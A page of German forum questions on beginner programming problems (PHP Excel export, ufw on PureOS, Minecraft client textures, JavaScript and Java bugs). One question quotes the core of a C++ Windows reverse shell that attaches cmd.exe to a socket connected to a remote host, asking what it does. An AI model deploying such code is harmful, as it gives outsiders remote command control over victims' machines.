PHP XLSX Writer überspringt erste Zeile - was tun?

Hey!

Ich habe gestern die Erweiterung PHP XLSX Writer gefunden und meinem System hinzugefügt. Ziel: Datenbank mit PHP (und mysqli) in ein Excel Dokument umwandeln. Irgendwie überspringt er die erste Zeile und spuckt mir im Dokument erst alles ab id=2 aus... Wisst ihr woran das liegt?

Danke schonmal für eure Antworten!

Hier noch der Quellcode von meiner export.php:

<?php
include "config.php";
include_once("../includes/excel/xlsxwriter.class.php");
//ini_set('display_errors', 0);
//ini_set('log_errors', 1);
//error_reporting(E_ALL & ~E_NOTICE);


    date_default_timezone_set('Europe/Berlin');
    $filename = "PZUS_" . date('Y-m-d') . ".xlsx";


    header('Content-disposition: attachment; filename="'.XLSXWriter::sanitize_filename($filename).'"');
    header("Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet");
    header('Content-Transfer-Encoding: binary');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');   
    $sql="SELECT * FROM tbl_contact";
    $result = $link->query($sql); 
    $row = $result->fetch_assoc(); 
    $header = array(
      'ID'=>'string',
      'Nachname'=>'string',
      'Vorname'=>'string',
      'Klasse'=>'string',
      'Bemerkung'=>'string',
      'Datum'=>'string',
      'Email'=>'string',
      'Adresse'=>'string',
      'Tel'=>'string',
    );
    $writer = new XLSXWriter();
    $writer->writeSheetHeader('PZUS-1', $header);
    $array = array();
    while ($row=$result->fetch_assoc())
    {
        $array[1] = $row['id'];
        $array[2] = $row['fldSurname'];
        $array[3] = $row['fldFirstname'];
        $array[4] = $row['fldClass'];
        //$array[4] = $row['fldCourse'];
        $array[5] = $row['fldDmg'];
        $array[6] = $row['fldDate'];
        $array[7] = $row['fldEmail'];
        $array[8] = $row['fldAdress'];
        $array[9] = $row['fldTel'];
        $writer->writeSheetRow('PZUS-1', $array);
    };


    //$writer->writeSheet($array,'Sheet1', $header);//or write the whole sheet in 1 call    


    $writer->writeToStdOut();
    //$writer->writeToFile('example.xlsx');
    //echo $writer->writeToString();
    exit(0);
Computer, Microsoft Excel, HTML, programmieren, Export, MySQL, PHP
warum deaktiviert sich die Firewall immer wieder in PureOS?

hallo

ich nutze immer wieder mal eine andere Distro eine Zeit lang, um versch. Linux Distros kennenzulernen.

Jetzt werd ich PureOS mal für 1-2 Monate nutzen. Das Problem ist, dass sich die Firewall ufw immer wieder nach einem Neustart deaktiviert bzw. beim Neustart ist sie dann abgeschaltet und ich muss sie neu starten.

Ich möchte die Firewall auf jeden Fall aktiviert haben, weil ich auch immer wieder in anderen Netzwerken unterwegs bin.

Das Problem ist, dass wenn die Firewall mal installiert ist, muss sie komischerweise auf PureOS aktiviert sein, weli man sonst nicht mehr ins Netz kommt(!). Dh wenn installiert und sie ist deaktiviert, kommt man nicht ins Netz. Das hatte ich auch noch nie!

Merkwürdig ist auch, dass wenn man das OS neu startet und ufw war vorher aktiv, dann hängtdas System beim neu booten längere Zeit und auch der Anmeldeprozess dauert lange, wenn man mal sein PW eingabl bis der Desktop kommt. Dh auch der Anmeldeprozess höngt über eine Minute.

Deinstalliere ich dann ufw wieder, hängt das System beim Booten nicht mehr.

Wie kann ich PureOS dazu bringen, die Firewall konstant aktiv zu lassen?

Hab versucht die Firewall sowohl über die Konsole zu aktivieren, und da wird gesagt beim nächsten Start sei sie dann auch aktiv, ist aber nicht der Fall.. als auch über das ZUsatztool gufw. Auch wenn ich über gufw sie aktiviere, ist sie beim nächsten System wieder deaktiviert.

Server, Linux, programmieren, Ubuntu, Linux-Server, Linux Mint, Serverprobleme, C (Programmiersprache), Debian
Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }
Computer, IT, programmieren, Hacking, Informatik, Shell, C (Programmiersprache)
Minecraft PVP client error "Failed to load texture java.io.FileNotFoundException" was kann man machen?

Hallo, ich versuche momentan einen eigenden Minecraft PVP-Client zu machen und wollte den Hintergrund vom Main-Menü ändern. Also habe ich den Pfad zum Bild eingegeben: "clientData/MainMenu/main_menu.jpg" (clientData liegt im surce/Minecraft Ordner). Dann aber habe ich beim starten diese Fehlermeldung bekommen:

[Client thread/WARN]: Failed to load texture: minecraft:clientData/MainMenu/main_menu.jpg

java.io.FileNotFoundException: minecraft:clientData/MainMenu/main_menu.jpg

at net.minecraft.client.resources.FallbackResourceManager.getResource(FallbackResourceManager.java:64) ~[bin/:?]

at net.minecraft.client.resources.SimpleReloadableResourceManager.getResource(SimpleReloadableResourceManager.java:61) ~[bin/:?]

at net.minecraft.client.renderer.texture.SimpleTexture.loadTexture(SimpleTexture.java:30) ~[bin/:?]

at net.minecraft.client.renderer.texture.TextureManager.loadTexture(TextureManager.java:64) [bin/:?]

at net.minecraft.client.renderer.texture.TextureManager.bindTexture(TextureManager.java:39) [bin/:?]

at nexoclient.ui.MainMenu.drawScreen(MainMenu.java:10) [bin/:?]

at net.minecraft.client.renderer.EntityRenderer.func_181560_a(EntityRenderer.java:1189) [bin/:?]

at net.minecraft.client.Minecraft.runGameLoop(Minecraft.java:1133) [bin/:?]

at net.minecraft.client.Minecraft.run(Minecraft.java:422) [bin/:?]

at net.minecraft.client.main.Main.main(Main.java:113) [bin/:?]

at Start.main(Start.java:11) [bin/:?]

Das ist der Code, den ich verwendet habe (in Eclipse):

import net.minecraft.client.gui.GuiScreen;

import net.minecraft.util.ResourceLocation;

public class MainMenu extends GuiScreen {

@Override

public void drawScreen(int mouseX, int mouseY, float partialTicks) {

mc.getTextureManager().bindTexture(new ResourceLocation("clientData/MainMenu/main_menu.jpg"));

this.drawModalRectWithCustomSizedTexture(0, 0, 0, 0, this.width, this.height, this.width, this.height);

super.drawScreen(mouseX, mouseY, partialTicks);

und für den code von Minecraft habe ich mcp918 benutzt.

Ich würde mich über eine Antwort freuen.

programmieren, Java, Minecraft, Eclipse
JavaScript Maximalwert setzen und schneller Value-Wechsel?

Hallo zusammen,

ich habe folgenden +/- Increment und Decrement Button. Kann ich dort einen Maximalwert setzen?

Außerdem möchte ich gerne wenn man + bzw. - gedrückt hält den Value schneller wechseln kann. Wie ist das möglich?

Vorab danke für die Antworten!

HTML:

 <div class="wrapper">
   <span class="minus">-</span>
   <span class="num">01</span>
   <span class="plus">+</span>
</div>

CSS:

.wrapper{
 height: 120px;
 min-width: 380px;
 display: flex;
 align-items: center;
 justify-content: center;
 background: #FFF;
 border-radius: 12px;
 box-shadow: 0 5px 10px rgba(0,0,0,0.2);
}
.wrapper span{
 width: 100%;
 text-align: center;
 font-size: 55px;
 font-weight: 600;
 cursor: pointer;
 user-select: none;
}
.wrapper span.num{
 font-size: 50px;
 border-right: 2px solid rgba(0,0,0,0.2);
 border-left: 2px solid rgba(0,0,0,0.2);
 pointer-events: none;
}

JavaScript:

const plus = document.querySelector(".plus"),
   minus = document.querySelector(".minus"),
   num = document.querySelector(".num");
   let a = 1;
   plus.addEventListener("click", ()=>{
     a++;
     a = (a < 10) ? "0" + a : a;
     num.innerText = a;
   });
   minus.addEventListener("click", ()=>{
     if(a > 1){
       a--;
       a = (a < 10) ? "0" + a : a;
       num.innerText = a;
     }
   });
Computer, HTML, programmieren, CSS, JavaScript, Add-on
Java: Methode wird nicht erkannt?

Hallo, ich arbeite gerade an einem Text Adventure. Intellij erkennt meine Methoden nicht. Hat jemand Lösungsvorschläge?

Code:

public class main {
    public static void main (String[] args){
        player();
        enemies();
        cases();
    }
    public static void player() {
        String name = "Shadow";
        int health = 50;
        int damage = 30;
    }
    public static void enemies() {
            public static void dragon() {
                String name = "Barbaton";
                int health = 100;
                int damage = 40;
            }
            public static void lion() {
                String name = "Eon";
                int health = 85;
                int damage = 55;
            }
            public static void pig() {
                String name = "Memba";
                int health = 20;
                int damage = 5;
            }
            public static void frog() {
                String name = "Zee";
                int health = 5;
                int damage = 1;
            }
            public static void zebra() {
                String name = "Zoy";
                int health = 28;
                int damage = 18;
            }
            public static void monkey() {
                String name = "Bart";
                int health = 45;
                int damage = 38;
            }
            public static void fox() {
                String name = "Foxie";
                int health = 35;
                int damage = 24;
            }
        }
    }
    public static void cases() {
        int min = 1;
        int max = 8;
        int random_int = (int)Math.floor(Math.random()*(max-min+1)+min);
        if(random_int == 1){
            System.out.println("Du hast Barbaton(Drache) als Gegner bekommen.");
        }
        else if (random_int == 2){
            System.out.println("Du hast Eon(Löwe) als Gegner bekommen.");
        }
        else if (random_int == 3){
            System.out.println("Du hast Memba(Schwein) als Gegner bekommen.");
        }
        else if (random_int == 4){
            System.out.println("Du hast Zee(Frosch) als Gegner bekommen.");
        }
        else if (random_int == 5){
            System.out.println("Du hast Zoy(Zebra) als Gegner bekommen.");
        }
        else if (random_int == 6){
            System.out.println("Du hast Bart(Affe) als Gegner bekommen.");
        }
        else if (random_int == 7){
            System.out.println("Du hast Foxie(Fuchs) als Gegner bekommen.");
        }
        else {
            System.out.println("");
        }
    }
}

programmieren, Java
Ich habe einen Problem beim JavaScript?

Guten Tag,

Ich habe heute eine Neue Seite mit Javascript erstellt,wo ich einen Knopf drücken muss,damit man eine Sache speichern kann.Ich habe es gemacht und es sollte eidentlich funktionieren,aber mir wird der Fehler gezeigt, dass das Value den Wert Null hat.

Ich schicke den Code von HTML

<!DOCTYPE html>

<html lang="en">

<head>

  <link rel="stylesheet" href="css3.css" type="text/css">

  <meta charset="UTF-8">

  <title>Document</title>

</head>

<body>

<h1>Checkliste von Schrödingers Buch</h1>

<ul id="aufgaben">

<li class="offen">kapitel 13</li>

<li class="offen">kapitel 14</li>

<li class="offen">kapitel 15</li>

<li class="offen">kapitel 16</li>

<li class="offen">kapitel 17</li>

<li class="offen">kapitel 18</li>

<li class="offen">kapitel 19</li>

</ul>

<button class="button" id="erledigen">Erledigt</button>

<button class = "button" id = "neue-aufgabe">Hinzufügen</button>

<input type="text" id = "neue-aufgabe">

</body>

</html>

Das ist der Rest von Javascript,wo alles richtig war:

 function insgesammt(){

  document.getElementById("erledigen").addEventListener("click", erledigeAufgabeinBlau);

  

}

function erledigeAufgabeinBlau(){

  var offnbitte = document.getElementById("aufgaben").getElementsByClassName("offen");

  if (offnbitte.length > 0){

    allesKlicken(offnbitte[0]);

  }

}

function allesKlicken(aufgabe){

  if (!aufgabe) throw "Paramenter Aufgabe wird benötigt";

  aufgabe.className = "erledigt";

}

function umdrehen(){

  var liste = document.getElementById("aufgaben");

  var kinder = [];

  while (liste.firstChild){

    kinder.push(liste.removeChild(liste.firstChild));

  }

  while (kinder.length){

     liste.appendChild(kinder.pop());

  }

}

window.addEventListener("load", umdrehen);

window.addEventListener("load", insgesammt,);

und das ist JavaScript,wo ich den Fehler gemacht habe:

function hinzufuegen(){

  var neuerText = document.getElementById("neue-Aufgabe").value;

  if (neuerText.length > 0){

    var neuesElement = document.createElement("li");

    var neuerTextNode = document.createTextNode(neuerText);

    neuesElement.appendChild(neuerTextNode);

    neuesElement.classList.add("offen");

    document.getElementById("aufgaben").appendChild(neuesElement);

    document.getElementById("neue-aufgabe").value ="";

  }

}

window.addEventListener("load", hinzufuegen);

Ich habe bei der Seite noch was anderes gemacht,wie z.B. dass die Liste in einer anderern Farbe markiert werden soll.

Computer, programmieren, JavaScript

Meistgelesene Beiträge zum Thema Programmieren